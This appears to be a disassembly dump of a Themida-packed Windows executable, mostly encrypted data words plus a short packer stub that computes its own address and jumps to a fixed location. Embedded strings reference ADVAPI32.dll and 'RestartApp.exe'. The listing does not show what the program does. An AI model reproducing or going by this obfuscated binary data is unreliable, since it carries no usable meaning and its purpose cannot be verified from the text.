dd 2D3A5B66h, 74F4C096h, 6DAB01CFh, 39709D8Ah, 684C30AEh
dd 2A342700h, 9892C69Fh, 0C0B178h, 32B176ACh, 9B00128Ah
dd 8DABC9A8h, 26E8BCAh, 0A43F7593h, 0DCC0C3F9h, 620040EDh
dd 0B76A4B2Eh, 15F45A95h, 0F03C1A80h, 0FAC84E00h, 0EB69C2ABh
dd 3F67AA00h, 45480ED1h, 0EEE20158h, 3D939D41h, 50DB709Fh
dd 4C53AC04h, 20B2C452h, 2E25CC00h, 0E1BC35A6h, 81B4DF00h
dd 0C52B39E3h, 0DDF50BFAh, 9898B0DAh, 2E00CC13h, 3BDF77C8h
dd 506614h
dd 0AFD78FB6h, 2282BFEFh, 710CC4B0h, 801495B0h, 3074915Ah
dd 9BFBC880h, 0E0926C18h, 538FB528h, 0CF1FCC32h, 0B87418CAh
dd 5B09306Ah, 80B0B66Bh, 4329A538h, 7F8898D4h, 20394A9Ah
dd 0B83C99A0h, 12370400h, 0B5CB8D8Ch, 0B15C2544h, 96D74C98h
dd 58E65D7Bh, 951CC100h, 0D8DC8CADh, 3FE62CE1h, 5D680400h
dd 2640B2D6h, 6F0020E5h, 119BEC94h, 0CCBF07FFh, 615996B0h
dd 40E12F7Eh, 0D95FBED0h, 8CE0352Eh, 826D3600h, 14B0A475h
dd 28A85CEAh, 0F3005453h, 49372061h, 7B14974Ch, 60AEB821h
dd 0D5B1BD29h, 0A14D002Dh, 9C387494h, 250073D0h, 0F082E5ADh
dd 26B54EC0h, 928E099h, 704EA5F2h, 0A418460Fh, 0E21940F8h
dd 29B5393h, 50214D47h, 0F4C13F15h, 3E8F11D8h, 0AE002836h
dd 256B8CFCh, 0D3004C5Dh, 0EF623CF0h, 481AFAC2h, 35C0D40Ah
dd 7C872EB4h, 3AF0FEE8h, 0FA3CC100h, 6A0CE78Eh, 751A2A84h
dd 0F37F58D4h, 8C263D00h, 0F230801h, 590058F4h, 0BE2014A0h
dd 534732Fh, 1563455Bh, 29CC09FBh, 87C6CC85h, 34A83890h
dd 0D9C80B18h, 174D7511h, 266366h, 0FA82FF91h, 833ACE84h
dd 277C0078h, 0A9F16CA6h, 7E6A0053h, 0C992858h, 671355DAh
dd 8031412Ah, 0D848BF5Ch, 9468265Eh, 0D9580954h, 8043140Ah
dd 0FF4B553Ch, 0B4B9D1FAh, 0E1CDB900h, 14683F4h, 18E8F68Dh
dd 0CCB352E9h, 84A6203Ch, 5435470Fh, 0FA51E099h, 9E52A4h
dd 0B8CDED89h, 0F336ACBAh, 7EB1CCEDh, 0BFA8C8A0h, 0CA22D4A4h
dd 281B50C9h, 541003F9h, 0CB0B021Fh, 0C18745F0h, 6A0020E0h
dd 7E4B2C56h, 1A3EC2Dh, 8B6DB56Bh, 80D9AC01h, 98B13349h
dd 0C03F1A46h, 0FB0B8A11h, 44047D5Eh, 0AF301CB6h, 34FEBC81h
dd 360C9872h, 0E4997E1h, 1F23F407h, 4F50852Bh, 0DF55A3h
dd 9B9F5B22h, 80FAB941h, 0A0E8B828h, 0C80C4278h, 7130DCACh
dd 0E4A4C9h, 277228E7h, 976F0782h, 89348503h, 18A60F3Dh
dd 0B95ED279h, 0E8072CC4h, 0FE7D066h, 80937B03h, 0A0DEFFh
dd 5A5C3440h, 0F6742996h, 0EB327338h, 20D00E39h, 4E0DB23Bh
dd 0D2B112BBh, 1002078h, 99018381h, 73433077h, 20658FFAh
dd 64002BE2h, 486A5547h, 0A43424F5h, 5916C97Ch, 0C849891Bh
dd 0C52404C8h, 0F3937058h, 7800F091h, 0EBB52EEh, 0EB9039h
dd 111FD060h, 0B80BDC5Eh, 51082C09h, 1C4410F3h, 7A291D24h
dd 0CA894020h, 5BBD60B4h, 0A10080B0h, 0D18B6B72h, 1F4C99B0h
dd 40B78239h, 152432E1h, 0AC090387h, 0FA414CAh, 78946486h
dd 1F928CB4h, 0C0BBFEA9h, 9E6A987Ah, 7852DA85h, 0E62B00F4h
dd 0FECF2263h, 9A59012h, 0D39F1350h, 0F9987C13h, 0F60EBEF1h
dd 0E0BDA1F3h, 0B355321Bh, 0D93F09F0h, 880A38Dh, 59452018h
dd 0ECB86900h, 0F2646CF5h, 0A6F4095Bh, 0AC44CB9Ah, 0FC831D13h
dd 0A5F34A00h, 26800C58h, 47F81506h, 0A0BC2747h, 42315696h
dd 3EE5B800h, 65457275h, 789F1844h, 9A60C198h, 0F6DBD71Ch
dd 549B3A47h, 16B5B4F0h, 0E31813AAh, 0E6F488A4h, 3F998700h
dd 61ED7B90h, 85760058h, 820A23F9h, 7400C339h, 5E98D8C1h
dd 30E8DA62h, 0F2699B34h, 8E007794h, 96E23DC8h, 75E99E49h
dd 0CC1417FAh, 0BB3B00FFh, 0BA33BC32h, 9D4BF4F0h, 0E0E89025h
dd 0B8E77407h, 0C9B1C00Ch, 0FC00FFB3h, 0FA3A56A4h, 30F24829h
dd 0DA49E132h, 7363C90Eh, 0F03D2741h, 0E47C99h, 173C6144h
dd 0DEA27BDAh, 0A80F92C6h, 0D9E101A9h, 0C1056D83h, 844C7004h
dd 695E931Ch, 8E96428Bh, 81FA0040h, 2C72C86h, 90C5B353h
dd 3440C82Ah, 0AB1D5CB2h, 20659BCBh, 296D5B38h, 0C9580402h
dd 0C078F754h, 0D8F3A0D0h, 3D3688h, 46471E85h, 0CB273CACh
dd 0B200FCF0h, 0B199D8E3h, 245695EAh, 6004B5A5h, 0F9775A3Bh
dd 0BF766800h, 6151D3ABh, 9DBB0396h, 71F3B436h, 8DDA6101h
dd 0B202381Bh, 1E3A99CCh, 406BC6D1h, 0A9B78B5Fh, 98146581h
dd 0C0F8A6C8h, 88CF5C0Dh, 731903BEh, 65EF4510h, 0E08FD6F9h
dd 0DCA2A50Ah, 4D008C46h, 4FDEC4B6h, 0BFEBBC7h, 1BD62690h
dd 0EF86CC90h, 0C4191200h, 586CD8F8h, 1CDD026Fh, 372C72A7h
dd 430B2064h, 188D44D1h, 0FB7CB660h, 0F80DEF8h, 0C0B7684Ch
dd 2118F3EFh, 560701F5h, 0FECB051Fh, 81069200h, 3E1C0704h
dd 6026556Ch, 715B7296h, 181FDB24h, 9983801h, 9473DFACh
dd 18638202h, 0E4D1CA42h, 0BBFB0038h, 0D6C88010h, 2A0D0A86h
dd 60C44C0Eh, 0D0C2F756h, 7EB8BC03h, 0A0D15C8Dh, 5C5EEC8Ah
dd 0C622B4CDh, 9B1D4016h, 1F6A8C8h, 680D6F1Fh, 70CDD8DBh
dd 720571F0h, 0F3B1186Dh, 8D2B1400h, 13C7C9D9h, 0C8498F95h
dd 394D32B8h, 0C5EC00FAh, 0D3C3E117h, 2ADC0089h, 9285A08Bh
dd 37678F81h, 83E9A931h, 0B2753F38h, 0E6446080h, 0BCEE50C6h
dd 507790A7h, 52F58F3h, 48F7F92Bh, 8F6420FEh, 5B50A3FCh
dd 0DC0272A4h, 0E5D95514h, 44C479h, 433D38AEh, 0C81E82E7h
dd 0E21F1300h, 0A6F72C30h, 41B71836h, 2A688880h, 0C0591760h
dd 0BB7B30h, 44283B37h, 2AA8D8D6h, 27329803h, 0B37DBAh
dd 757F8A29h, 4A3B8337h, 0A3FC502h, 5AD386A6h, 4F090084h
dd 30F87CD5h, 4A7A70C9h, 2CF04848h, 45160C23h, 0F1CBC004h
dd 0DB34CCh, 8143C410h, 67919869h, 0A1D739h, 0A2798C03h
dd 725E7240h, 118992Ah, 105A95CDh, 693C30B9h, 0F386ED08h
dd 54019EC5h, 0B441A4F2h, 4870CAF0h, 0FB0AACB4h, 2A01DAAh
dd 0DB79C443h, 170368D9h, 0D07A3EE4h, 287D3B97h, 1B4B8F7h
dd 0F41B3C5Ch, 808ABAF8h, 53828070h, 9CD0CB8Dh, 56F78090h
dd 0AEDFF169h, 0D14DF007h, 6620DA21h, 0C57E927h, 0B579E4A3h
dd 32070AC1h, 9350B16Fh, 7529E0D0h, 3CF76C5h, 56455BFCh
dd 0D1E2A58Ah, 7800F85Ah, 0B92ED357h, 0B02A3724h, 2B3212F8h
dd 2C3F870h, 9CDA7CAFh, 0E9E78269h, 0B06297h, 3B1FFC38h
dd 464E007Ah, 98F47299h, 97EAAAB0h, 9C9ABB0Bh, 29FD805Ch
dd 98D046A5h, 0E7380BB0h, 0B4481503h, 41E2681Bh, 1194E600h
dd 0BDD635D8h, 0B6FC07DEh, 0D0C4B9CEh, 7DA3093Fh, 140040B1h
dd 6349CF3Eh, 0C9610136h, 1897BCC5h, 75DBF8CAh, 48B1AC25h
dd 31A604h, 3E64328h, 402A0685h, 0D11398B1h, 73AEACD0h
dd 600A0019h, 38806E44h, 50B8B0B8h, 4D685B01h, 155E3DD8h
dd 20341C42h, 6DD737E3h, 0E14F3E1Fh, 0DE196718h, 14D20097h
dd 5E897232h, 8A0725B6h, 6A845C4Ch, 8F358DF0h, 5CFFE8AEh
dd 0A280C879h, 0B0019BADh, 13166F75h, 0F4006C7Dh, 0C75F63C6h
dd 0B95A2E85h, 0D2F7022Ch, 344699A9h, 2F14D400h, 0B4872C97h
dd 0DE900E36h, 9AC006D2h, 705CEC8h, 81C5C2Ch, 207B9F40h
dd 0F4E10722h, 60E46065h, 0E883740Eh, 0A8F03C3Ch, 3044A472h
dd 9BE23CA3h, 2A00E16Fh, 291BC39Fh, 70EB11C0h, 0EE77512h
dd 59F4819Bh, 72CA6500h, 26903FFFh, 5E714500h, 5C4D5052h
dd 0D9A8095Ah, 9480EAD8h, 0D04FA099h, 0C6807894h, 57847ED5h
dd 91F0016Ah, 7813C528h, 90FC70E5h, 9FA00295h, 92908A76h
dd 10E4A11Fh, 0BA3BB140h, 7BD5001Ah, 0F06EF6CFh, 3D070845h
dd 68098DEBh, 10009E87h, 3BAF9D7h, 6E6D2BA6h, 0CF80FFE5h
dd 21C0C886h, 680E366Fh, 0E411C0F6h, 14B74531h, 3706B800h
dd 0B52DBC0Dh, 0CAED5CF5h, 287DB118h, 0FD0012CAh, 71E7BEEAh
dd 0C009F36Ch, 53ED9E19h, 4501F92Ch, 0B3737006h, 6181D291h
dd 0CDA61FB7h, 7242C06Eh
dd 4500E273h, 0E319F36h, 263EE039h, 0BD321Dh, 0F5F39707h
dd 7330438Ah, 9F376194h, 0FA5A00DBh, 24338788h, 6F00E185h
dd 5F1CF749h, 0D49BDDh, 6569514Ah, 0BBD9368h, 0B60098DCh
dd 8675570Eh, 0A3400F2h, 0FBA401EAh, 731F35Bh, 6BECC11Fh
dd 0DDD45840h, 28F00178h, 2BEB6AADh, 863371FFh, 89B11051h
dd 0D7135899h, 3BC97400h, 9C82EAB4h, 5C29510Ch, 40591Dh
dd 69AB3F1Eh, 834D87B4h, 26175226h, 7E497100h, 8EE059h
dd 0A7903ACDh, 4AECA319h, 395A662Eh, 6ADA0603h, 0D7900F5h
dd 0D43EC41Dh, 0BD091518h, 80D0F890h, 77AD3168h, 5F7B0326h
dd 195C2472h, 94E48100h, 55D427D8h, 0CCA100A7h, 817B0273h
dd 0F700BDA5h, 0AC198BBFh, 1406785h, 71C07D8Ah, 23A2B346h
dd 974A0318h, 786ACBDh, 40CF1AF9h, 4F75E083h, 8500DDE0h
dd 0BA5A1D2h, 1170190h, 0FEB3AD2Ah, 0E02970F0h, 0F7626BF5h
dd 63647451h, 1C30F8DEh, 0C97A049Bh, 0C0123D2Ah, 0D48314E4h
dd 295B4406h, 7FC9CC67h, 4FAC0384h, 0CBE2CDE5h, 818DECB8h
dd 82233700h, 21C98518h, 31F93C1Eh, 0CC190F8Ah, 0FFFF5F01h
dd 6Ch
db 2 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_57BADA: ; CODE XREF: start:loc_513265j
; DATA XREF: start:loc_513086o
jmp loc_57EF83
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
db 8Dh
dd 0EF78Dh, 94000000h, 7C90EBh, 8 dup(0)
dd 64000000h, 3 dup(0)
dd 94000000h, 9Eh, 2 dup(0)
dd 0CA000000h, 0B8C367h, 2 dup(0)
dd 6C000000h, 54000004h, 740012FFh, 865559h, 0CC000000h
dd 0B23Eh, 3 dup(0)
dd 31000000h, 5EC9h, 0
dd 0CB000000h, 51D3E4D9h, 0B28Eh, 0
dd 94000000h, 7C90EBh, 2 dup(0)
dd 7A000000h, 3Fh, 2 dup(0)
dd 3F000000h, 0FFFFA3FDh, 0FFFFFFh, 38000000h, 0FFFFBDh
dd 5 dup(0)
dd 2B000000h, 5BBDh, 61h dup(0)
dd 84000000h, 0FFED01h, 13h dup(0)
dd 94000000h, 0FFFFEBh, 8 dup(0)
dd 38000000h, 7C8026h, 3 dup(0)
dd 71000000h, 7C90FBh, 7 dup(0)
dd 31000000h, 0FF4D57h, 0A0000000h, 0E4875Ch, 0
dd 0B000000h, 0FD025D6Eh, 1804FFh, 78000000h, 0B791h, 2 dup(0)
dd 94000000h, 7C90EBh, 8 dup(0)
dd 0A700h, 2 dup(0)
dd 8000000h, 0B100B228h, 7Fh, 8 dup(0)
dd 17000000h, 0FFFEEBh, 3 dup(0)
dd 23000000h, 57C3h, 2 dup(0)
dd 67000000h, 5F12h, 2 dup(0)
dd 6C000000h, 836F14h, 0F6000000h, 5D4Bh, 2 dup(0)
dd 0EE000000h, 7C905Fh, 0
dd 77000000h, 5FE5h, 7 dup(0)
dd 6E004000h, 1B6D8B54h, 2442BEDFh, 0B20Eh, 6 dup(0)
dd 76000000h, 74631Bh, 0B0h dup(0)
dd 0FF000000h, 0FFh, 2 dup(0)
dd 0F0000000h, 4001h, 80000000h, 8, 4 dup(0)
dd 20h, 20000000h, 0DD88D3h, 0
dd 5110h, 9 dup(0)
dd 0F4000000h, 162E27h, 0
dd 20000000h, 0B28Dh, 4 dup(0)
dd 94000000h, 3Dh, 2 dup(0)
dd 0FD000000h, 5BE8h, 84000000h, 5EC8h, 4 dup(0)
dd 0D1000000h, 7, 6 dup(0)
dd 0E0000000h, 12FFh, 3 dup(0)
dd 0DF000000h, 19FA5FFBh, 23h, 4 dup(0)
dd 0A0000000h, 2 dup(0)
dd 68000000h, 8E000000h, 5EC5h, 0
dd 44000000h, 5B57h, 7 dup(0)
dd 0D8000000h, 0FD24CFh, 2 dup(0)
dd 0BE000000h, 5AAAD9h, 3 dup(0)
dd 80000000h, 0FFED01h, 66000000h, 0BBD17Fh, 0
dd 0F4000000h, 98FFFF8Eh, 0A9005A61h, 0B2EAh, 94000000h
dd 4D7C90EBh, 491DC6h, 0Fh dup(0)
dd 0A4000000h, 12FFh, 0FD000000h, 5EFFh, 0AC000000h, 0FFED00h
dd 43000000h, 5F6D5C3Ah, 61706E75h, 72656B63h, 7Ch dup(0)
dd 79000000h, 9EE8ECh, 0C8000000h, 5BD0h, 12000000h, 0F7F89Bh
dd 0
dd 0EA000000h, 4B69C7h, 4 dup(0)
dd 94000000h, 7B7C90EBh, 57C6h, 5 dup(0)
dd 0DB000000h, 1BFFA157h, 77DFC4h, 70000000h, 0FFFF95h
dd 1100h, 2000000h, 80h, 0
dd 0D4000000h, 25513Ah, 0
dd 0B8000000h, 0
; ---------------------------------------------------------------------------
or eax, eax
jz short loc_57C687
retn 18h
; ---------------------------------------------------------------------------
loc_57C687: ; CODE XREF: Themida_:0057C682j
mov eax, [esp+0Ch]
push ebx
call $+5
pop ebx
add ebx, 17h
mov [esp+10h], ebx
mov [esp+14h], eax
pop ebx
mov eax, 0B2FA37h
jmp eax
; ---------------------------------------------------------------------------
mov eax, [esp+4]
jmp eax
; ---------------------------------------------------------------------------
align 10h
dd 12h dup(0)
dd 44000000h, 73h, 0
dd 45000000h, 0DC07A14h, 3004006h, 0B2FAh, 0
dd 94000000h, 7C90EBh, 2 dup(0)
dd 0B1000000h, 7Fh, 4 dup(0)
dd 22000000h, 0B10057F6h, 5D86h, 4 dup(0)
dd 71000000h, 781804ECh, 0D2000000h, 216C09h, 1000000h
dd 3E000000h, 5CC7h, 2 dup(0)
dd 5B000000h, 76B44Eh, 0
dd 12000000h, 26380415h, 5B7Ch, 81h dup(0)
dd 79000000h, 127413h, 0F0000000h, 5BA7h, 0
dd 7E000000h, 0AFA5D4Fh, 223570h, 0
dd 1000000h, 0Bh dup(0)
dd 0F6000000h, 14005D0Ch, 1130h, 3 dup(0)
dd 0D0000000h, 0FFA3CDh, 2 dup(0)
dd 94000000h, 7C90EBh, 4000000h, 4 dup(0)
dd 43000000h, 49575C3Ah, 574F444Eh, 79735C53h, 6D657473h
dd 415C3233h, 50415644h, 2E323349h, 6C6C64h, 3Ah dup(0)
dd 0F1000000h, 5BF6h, 7 dup(0)
dd 0F000000h, 0B218h, 0Ah dup(0)
dd 82000000h, 5EAAh, 4 dup(0)
dd 44000000h, 0FD00B21Ah, 5BE8h, 0D0000000h, 5EA9h, 19h dup(0)
dd 1000000h, 0
dd 4C000000h, 37000000h, 78058Eh, 0
dd 58000000h, 0FFFF95h, 0
dd 0C200h, 4 dup(0)
dd 2230h, 0
dd 10000000h, 7FFFE2h, 1000000h, 0A4000000h, 70F556h, 0Ah dup(0)
dd 29000000h, 5AAA2Bh, 2 dup(0)
dd 82000000h, 16149BEh, 0E9000000h, 24h, 94000000h, 5D7C90EBh
dd 5A69h, 3F000000h, 57E1h, 9 dup(0)
dd 0E5000000h, 0FFFF98h, 3 dup(0)
dd 19000000h, 2 dup(0)
dd 0C7000000h, 0ACCFB7h, 2 dup(0)
dd 18000000h, 228323h, 10h dup(0)
dd 64000000h, 7C802Ch, 6 dup(0)
dd 0B700h, 0Ch dup(0)
dd 3000000h, 0B2FAh, 0Ah dup(0)
dd 0C4000000h, 0ADFFFFF2h, 7E41A8h, 2 dup(0)
dd 9C000000h, 0F2D2E0h, 12h dup(0)
dd 7000000h, 987B7A06h, 5A61h, 3 dup(0)
dd 0E0000000h, 12FFh, 0A4000000h, 0Ah dup(0)
dd 20000000h, 94B31BD3h, 7C90EBh, 0A4000000h, 95005B56h
dd 3AB041h, 3 dup(0)
dd 0CF000000h, 0E90057BBh, 40EDh, 0Bh dup(0)
dd 27000000h, 3 dup(0)
dd 0D2000000h, 525EE9h, 3 dup(0)
dd 0F2000000h, 0C67C814Ah, 5F10h, 0
dd 0E5000000h, 0B831h, 0
dd 83000000h, 77DD78h, 0D3000000h, 2061CD9Fh, 0B219h, 8 dup(0)
dd 23000000h, 57C3h, 7000000h, 22h, 5 dup(0)
dd 70000000h, 0
dd 0B8000000h, 252h, 9 dup(0)
dd 3D000000h, 5B27EFh, 66000000h, 35BBD17Fh, 0B11674CEh
dd 5D16h, 0D000000h, 4006h, 12h dup(0)
dd 37000000h, 6800B2FAh, 6342Fh, 3 dup(0)
dd 0F000000h, 0B218h, 7 dup(0)
dd 0AC000000h, 0FFED00h, 7 dup(0)
dd 28000000h, 0FFFF92h, 4 dup(0)
dd 0F000000h, 0B218h, 0
dd 44000000h, 0DD00B21Ah, 32h, 0
dd 1000000h, 0F000000h, 900254F8h, 5E89h, 2 dup(0)
dd 0BF000000h, 5AF3h, 0
dd 20000000h, 7555A6h, 46000000h, 5D11h, 2 dup(0)
dd 0B1000000h, 5D16h, 0
dd 59000000h, 5B66h, 7 dup(0)
dd 25000000h, 2A00B20Ah, 9E25E106h, 0DF0057FBh, 0FA5FFBh
dd 3F000000h, 5BBAh, 0D000000h, 0E004006h, 47853h, 0Ah dup(0)
dd 52000000h, 61747365h, 70417472h, 78652E70h, 65h, 0Ah dup(0)
dd 90000000h, 17005D2Eh, 0B294h, 3 dup(0)
dd 44000000h, 0C246DAh, 7 dup(0)
dd 0B0000000h, 1C3FFh, 76000000h, 1200016Bh, 23624827h
dd 5B00h, 98000000h, 5A61h, 3 dup(0)
dd 0E5000000h, 0FFFF98h, 3 dup(0)
dd 61000000h, 0EFFFFEBh, 0FF124Eh, 2 dup(0)
dd 3000000h, 6D00B2FAh, 7B7A58h, 2 dup(0)
dd 62000000h, 18h, 4 dup(0)
dd 5B000000h, 76F36Ch, 0Dh dup(0)
dd 3F000000h, 57BBh, 3 dup(0)
dd 7C8000h, 0
dd 94000000h, 0FFFFEBh, 9 dup(0)
dd 3C000000h, 219B6E4Dh, 212121h, 3 dup(0)
dd 40000C9h, 6 dup(0)
dd 78000000h, 0B528h, 2 dup(0)
dd 94000000h, 7C90EBh, 4 dup(0)
dd 1000000h, 0A00h, 6 dup(0)
dd 54000000h, 0D0FFFFFFh, 57BBh, 5 dup(0)
dd 0F9000000h, 0EEFBC8h, 0Bh dup(0)
dd 0C9000000h, 0F0005E93h, 12FFh, 8B000000h, 0DB6EF9h
dd 6 dup(0)
dd 82000000h, 0C6h, 0Fh dup(0)
dd 42000000h, 1000010h, 3 dup(0)
dd 61000000h, 4DDED0AFh, 7BE9F93Eh, 5CA4h, 4 dup(0)
align 8
dd 76F212h, 3 dup(0)
dd 90000000h, 5 dup(0)
dd 98000000h, 770129A9h, 70012159h, 3, 5 dup(0)
dd 3C000000h, 71FFFFFFh, 7C90FBh, 0
dd 0A4000000h, 5B56h, 2D027000h, 9E3260h, 0
dd 7C000000h, 0D2000000h, 0C03F4093h, 5C00h, 6 dup(0)
dd 2B000000h, 4028BF7Fh, 0B21Ah, 2 dup(0)
dd 0E9000000h, 1Ch, 1000000h, 0D000000h, 0B58Bh, 2 dup(0)
dd 0DF000000h, 0A9C530h, 94000000h, 7C90EBh, 88000000h
dd 8005E28h, 5AC3h, 64000000h, 5CC0h, 2 dup(0)
dd 0DA000000h, 10005B57h, 76F215h, 9 dup(0)
dd 93000000h, 48005BAFh, 2C2F091Fh, 0D9025400h, 0C765D4h
dd 2 dup(0)
dd 0D000000h, 6C00B58Bh, 836F14h, 0B3000000h, 5D47h, 8 dup(0)
dd 0C0000000h, 5C00h, 7 dup(0)
dd 0FC000000h, 0FFFFFFh, 2 dup(0)
dd 0DF000000h, 7C90C6h, 3 dup(0)
dd 0FC000000h, 0E67F28h, 4 dup(0)
dd 0C2000000h, 2 dup(0)
dd 6000000h, 5B78h, 5 dup(0)
dd 0A1000000h, 5A61h, 4000000h, 2 dup(0)
dd 47000000h, 7C809Bh, 1C000000h, 0FFFFFF79h, 0FFFFFFh
dd 0
dd 0FF000000h, 54005B1Fh, 696D6568h, 6164h, 1Bh dup(0)
dd 0C1000000h, 3F005C02h, 57E1h, 4 dup(0)
dd 0C000000h, 0FF864972h, 0F4h, 10000000h, 36005EBAh, 363636h
dd 5 dup(0)
dd 0AC000000h, 68FFFF78h, 5BD8h, 0Fh dup(0)
dd 0B0000000h, 1F3FFh, 0
dd 0A8000000h, 2E38C8h, 30000000h, 0CDFF4DF1h, 0B90037B5h
dd 5D08h, 0
dd 0CF000000h, 5500B2A8h, 2E67D2h, 2D000000h, 0E2A9CEh
dd 0
dd 82000000h, 0Fh, 3 dup(0)
dd 5E00h, 0BC000000h, 500001Bh, 0A2801h, 3 dup(0)
dd 0DF000000h, 0A9C530h, 3 dup(0)
dd 48000000h, 0E57C90FCh, 9477DDEDh, 0B67C90EBh, 0B1005B56h
dd 8AA99Fh, 0D000000h, 4006h, 0C4000000h, 440012FFh, 0C246DAh
dd 6 dup(0)
dd 0D000000h, 87004006h, 0A8D2h, 9 dup(0)
dd 8C000000h, 0EFFFE94h, 70557E70h, 2CCB42h, 0
dd 0F8000000h, 0F228664h, 0B83Fh, 3F000000h, 57BBh, 3 dup(0)
dd 23000000h, 5700h, 2 dup(0)
dd 61000000h, 5EEBh, 7F000000h, 7EBDFAh, 4 dup(0)
dd 98000000h, 129A9h, 3 dup(0)
dd 0F3000000h, 0C7BB1Bh, 11h dup(0)
dd 0EC000000h, 37h, 0ED000000h, 8474Ah, 12h dup(0)
dd 0CF000000h, 7C80B4h, 0E9000000h, 0ED000035h, 2F7DE7E3h
dd 5D4Ch, 0
dd 2B000000h, 6C010E85h, 0F3E324h, 0
dd 8D000000h, 5F0Eh, 0Ah dup(0)
dd 80000000h, 0FFFFFEh, 0Ah dup(0)
dd 82000000h, 5BFAh, 0
dd 0E3000000h, 27C0Ah, 23000000h, 57C3h, 3 dup(0)
dd 23000000h, 87005B00h, 1000013h, 0
dd 33000000h, 2 dup(33333333h), 0BB333333h, 22837C86h
dd 22222222h, 43222222h, 56h, 0
dd 0AA000000h, 3A0h, 0
dd 32000000h, 5AF6h, 7 dup(0)
dd 0F000000h, 0B218h, 4 dup(0)
dd 9F000000h, 374309h, 94000000h, 0A47C90EBh, 32005BE5h
dd 0EC00B58Bh, 18FFFF96h, 7C90EEh, 18h dup(0)
dd 79000000h, 127413h, 0
dd 94000000h, 7C90EBh, 5 dup(0)
dd 70000000h, 6009h, 26D00h, 4 dup(0)
dd 65000000h, 0F50143h, 7 dup(0)
dd 98000000h, 129A9h, 0
dd 0D3000000h, 73D5C9h, 0
dd 80000000h, 12FEh, 0F40004D0h, 5D54h, 0A3029700h, 0CDA680h
dd 0
dd 0AB000000h, 5D8Eh, 2 dup(0)
dd 0A1000000h, 0FFEEF4h, 98000000h, 5A61h, 4 dup(0)
dd 1000000h, 35000000h, 2C1B26h, 94000000h, 7C90EBh, 0DF000000h
dd 82A9C530h, 5BFAh, 0AA000000h, 8FF9FFCh, 0B2B5h, 0
dd 98000000h, 940129A9h, 1E7C90EBh, 6D005E44h, 7C9105h
dd 3 dup(0)
dd 80000000h, 2, 4 dup(0)
dd 0FA000000h, 934E5721h, 0F000B324h, 80001Dh, 5 dup(0)
dd 7C000000h, 10h, 0
dd 94000000h, 7C90EBh, 0
dd 70000000h, 0FFFF95h, 3 dup(0)
dd 40000000h, 2D005EC8h, 0DF8725h, 6 dup(0)
dd 200h, 23h dup(0)
dd 5F000000h, 58011D85h, 0D57C863Fh, 18h, 3 dup(0)
dd 23000000h, 5B00h, 2 dup(0)
dd 0B0000000h, 0E40233FFh, 23h, 0Dh dup(0)
dd 0A1000000h, 0B2AAh, 0
dd 9F000000h, 3F9F95h, 6 dup(0)
dd 5D000000h, 32597Fh, 0
dd 3F000000h, 57BBh, 82000000h, 0CE005AF6h, 5AA2h, 9E000000h
dd 230000EFh, 5B00h, 8A000000h, 384130CEh, 5, 5 dup(0)
dd 0F6000000h, 36516h, 2 dup(0)
dd 88000000h, 71h, 8 dup(0)
dd 97000000h, 12A127h, 4 dup(0)
dd 17000000h, 4D56C5h, 9 dup(0)
dd 88000000h, 0Ah dup(0)
dd 0FF000000h, 0FFFFFFh, 23004000h, 0
dd 7000000h, 0FCFD12h, 3 dup(0)
dd 8F000000h, 5FFCh, 3 dup(0)
dd 58000000h, 24h, 0F0000000h, 0BC2E68h, 0C000000h, 65EDA20Dh
dd 178C3Eh, 6 dup(0)
dd 54000000h, 12FFh, 4 dup(0)
dd 4000000h, 10h, 1Ch dup(0)
dd 44000000h, 0E100B21Ah, 5B8Eh, 9 dup(0)
dd 0A0000000h, 9 dup(0)
dd 6C000000h, 0
dd 1000000h, 98000000h, 5A61h, 94000000h, 7C90EBh, 0C8000000h
dd 871DD4h, 3 dup(0)
dd 0CC000000h, 5BBAh, 0
dd 3000000h, 0B2FAh, 7 dup(0)
dd 1000000h, 2 dup(0)
dd 74000000h, 7630DEh, 0
dd 11000000h, 111111h, 4 dup(0)
dd 1F000000h, 0EEFB26h, 77000000h, 487C810Ah, 0E7006071h
dd 0E477DDEBh, 46h, 0
dd 23000000h, 5700h, 98000000h, 129A9h, 0F0000000h, 77DD6Bh
dd 0
dd 67000000h, 963E10h, 94000000h, 7C90EBh, 4 dup(0)
dd 0CE000000h, 94000000h, 7C90EBh, 2 dup(0)
dd 37000000h, 77DDEEh, 8E000000h, 56EBh, 9 dup(0)
dd 84000000h, 1C005E8Ah, 0CDA66Dh, 8 dup(0)
dd 0A0004000h, 130000FCh, 0B802h, 7Fh, 0Dh dup(0)
dd 18000000h, 7C8035h, 0EC000000h, 0B237h, 7 dup(0)
dd 17000000h, 9A00B294h, 0AD005B03h, 825A83h, 0B0000000h
dd 8E01F3FFh, 5E9Dh, 7 dup(0)
dd 51000000h, 2D00B28Eh, 568A3h, 3 dup(0)
dd 5C000000h, 0FFED00h, 3 dup(0)
dd 73000000h, 56B5BBh, 2 dup(0)
dd 0D9000000h, 5AF3h, 4 dup(0)
dd 0F7000000h, 0DE8F1A62h, 5D09h, 2 dup(0)
dd 84000000h, 0A3h, 0
dd 98000000h, 940129A9h, 997C90EBh, 5D4Bh, 0C0000000h
dd 5D09h, 25400h, 6C000000h, 836F14h, 0
dd 1000000h, 3 dup(0)
dd 26F00h, 3 dup(0)
dd 0A4000000h, 12FFh, 0
dd 98000000h, 129A9h, 5 dup(0)
dd 77000000h, 7C801Dh, 66000000h, 0BBD17Fh, 2 dup(0)
dd 3C000000h, 0B21Ah, 2 dup(0)
dd 0FC00007Fh, 0E67F28h, 3 dup(0)
dd 66000000h, 0BBD17Fh, 8 dup(0)
dd 34000000h, 0EAh, 2 dup(0)
dd 0D7000000h, 60C0h, 2 dup(0)
dd 24000000h, 7C801Ah, 0D2000000h, 3F4093h, 0AD000000h
dd 400B4FCh, 6D89EFh, 2000000h, 8 dup(0)
dd 5C000000h, 0FFA4A9h, 0
dd 2E000000h, 0C0BF6Ch, 2 dup(0)
dd 8C000000h, 4 dup(0)
dd 0E000000h, 7C8018h, 3000000h, 0B3C2h, 0
dd 94000000h, 0
dd 8A000000h, 80005B1Fh, 3 dup(0)
dd 0ED000000h, 94824034h, 7C90EBh, 0
dd 42000000h, 0B218h, 2 dup(0)
dd 0FE000000h, 747C834Fh, 2 dup(0)
dd 0B0000000h, 0ECA4F8Ah, 0E97C8018h, 0EDh, 2 dup(0)
dd 98000000h, 5E0129A9h, 5A005C10h, 5DA9h, 94000000h, 0A87C90EBh
dd 144Bh, 3 dup(0)
dd 0AD000000h, 0DD7E41A8h, 2, 97000000h, 5CEFh, 0
